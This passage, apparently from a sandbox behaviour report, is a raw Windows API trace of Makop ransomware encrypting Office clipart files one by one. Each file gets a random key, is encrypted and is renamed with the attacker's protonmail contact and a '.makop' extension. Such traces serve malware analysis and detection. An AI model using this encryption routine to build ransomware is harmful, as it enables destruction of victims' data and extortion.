hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0155.476] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01839_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0155.476] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01839_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01839_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01839_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01839_.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0155.478] CloseHandle (hObject=0xf0) returned 1 [0155.478] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d94800, ftCreationTime.dwHighDateTime=0x1bd4e55, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3d94800, ftLastWriteTime.dwHighDateTime=0x1bd4e55, nFileSizeHigh=0x0, nFileSizeLow=0x5fe, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB01840_.GIF", cAlternateFileName="")) returned 1 [0155.479] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01840_.GIF") returned 63 [0155.479] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01840_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01840_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0155.480] GetProcessHeap () returned 0x48a0000 [0155.480] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0155.480] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0155.480] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0155.480] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x2, lpOverlapped=0x0) returned 1 [0155.486] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0155.486] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0155.486] GetProcessHeap () returned 0x48a0000 [0155.486] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0155.486] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0155.486] CryptDestroyKey (hKey=0x48c7128) returned 1 [0155.486] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0155.486] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0155.486] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0155.487] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0155.487] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0155.487] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0155.487] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0155.487] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0155.487] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.487] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x5fe, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x5fe, lpOverlapped=0x0) returned 1 [0155.487] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x600, dwBufLen=0x600 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x600) returned 1 [0155.488] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.488] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x600, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x600, lpOverlapped=0x0) returned 1 [0155.488] CryptDestroyKey (hKey=0x48c7128) returned 1 [0155.488] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x6d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.488] SetEndOfFile (hFile=0xf0) returned 1 [0155.494] GetProcessHeap () returned 0x48a0000 [0155.495] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0155.495] GetProcessHeap () returned 0x48a0000 [0155.495] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0155.495] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01840_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0155.495] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01840_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01840_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01840_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01840_.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0155.496] CloseHandle (hObject=0xf0) returned 1 [0155.497] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x983ead00, ftCreationTime.dwHighDateTime=0x1bd4e4b, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x983ead00, ftLastWriteTime.dwHighDateTime=0x1bd4e4b, nFileSizeHigh=0x0, nFileSizeLow=0x76c, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB01842_.GIF", cAlternateFileName="")) returned 1 [0155.497] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01842_.GIF") returned 63 [0155.497] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01842_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01842_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0155.498] GetProcessHeap () returned 0x48a0000 [0155.498] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0155.498] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0155.499] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0155.499] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0155.503] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0155.503] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0155.503] GetProcessHeap () returned 0x48a0000 [0155.503] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0155.503] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0155.503] CryptDestroyKey (hKey=0x48c7128) returned 1 [0155.503] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0155.503] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0155.504] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0155.504] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0155.504] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0155.504] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0155.504] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0155.504] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0155.504] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.505] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x76c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x76c, lpOverlapped=0x0) returned 1 [0155.505] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x770, dwBufLen=0x770 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x770) returned 1 [0155.505] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.505] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x770, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x770, lpOverlapped=0x0) returned 1 [0155.505] CryptDestroyKey (hKey=0x48c7128) returned 1 [0155.505] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x844, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.505] SetEndOfFile (hFile=0xf0) returned 1 [0155.512] GetProcessHeap () returned 0x48a0000 [0155.512] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0155.512] GetProcessHeap () returned 0x48a0000 [0155.512] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0155.513] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01842_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0155.513] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01842_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01842_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01842_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01842_.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0155.515] CloseHandle (hObject=0xf0) returned 1 [0155.515] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x970d8000, ftCreationTime.dwHighDateTime=0x1bd4e4b, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x970d8000, ftLastWriteTime.dwHighDateTime=0x1bd4e4b, nFileSizeHigh=0x0, nFileSizeLow=0x12d1, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB01843_.GIF", cAlternateFileName="")) returned 1 [0155.515] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01843_.GIF") returned 63 [0155.515] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01843_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01843_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0155.516] GetProcessHeap () returned 0x48a0000 [0155.516] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0155.516] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0155.516] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0155.517] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xf, lpOverlapped=0x0) returned 1 [0155.521] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0155.521] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0155.521] GetProcessHeap () returned 0x48a0000 [0155.521] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0155.521] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0155.521] CryptDestroyKey (hKey=0x48c7128) returned 1 [0155.521] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0155.522] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0155.522] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0155.522] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0155.522] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0155.522] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0155.522] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0155.522] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0155.522] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.522] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x12d1, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x12d1, lpOverlapped=0x0) returned 1 [0155.524] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x12e0, dwBufLen=0x12e0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x12e0) returned 1 [0155.524] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.524] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x12e0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x12e0, lpOverlapped=0x0) returned 1 [0155.524] CryptDestroyKey (hKey=0x48c7128) returned 1 [0155.524] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x13b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.525] SetEndOfFile (hFile=0xf0) returned 1 [0155.532] GetProcessHeap () returned 0x48a0000 [0155.532] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0155.532] GetProcessHeap () returned 0x48a0000 [0155.532] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0155.532] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01843_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0155.532] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01843_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01843_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01843_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01843_.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0155.534] CloseHandle (hObject=0xf0) returned 1 [0155.534] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb347100, ftCreationTime.dwHighDateTime=0x1bd4e4a, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcb347100, ftLastWriteTime.dwHighDateTime=0x1bd4e4a, nFileSizeHigh=0x0, nFileSizeLow=0x102b, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02229_.GIF", cAlternateFileName="")) returned 1 [0155.534] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB02229_.GIF") returned 63 [0155.534] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB02229_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb02229_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0155.537] GetProcessHeap () returned 0x48a0000 [0155.537] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0155.537] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0155.537] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0155.537] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x5, lpOverlapped=0x0) returned 1 [0155.542] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0155.542] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0155.542] GetProcessHeap () returned 0x48a0000 [0155.542] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0155.542] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0155.542] CryptDestroyKey (hKey=0x48c7128) returned 1 [0155.542] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0155.542] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0155.542] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0155.543] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0155.543] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0155.543] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0155.543] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0155.543] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0155.543] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.543] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x102b, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x102b, lpOverlapped=0x0) returned 1 [0155.545] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1030, dwBufLen=0x1030 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1030) returned 1 [0155.545] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.545] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, 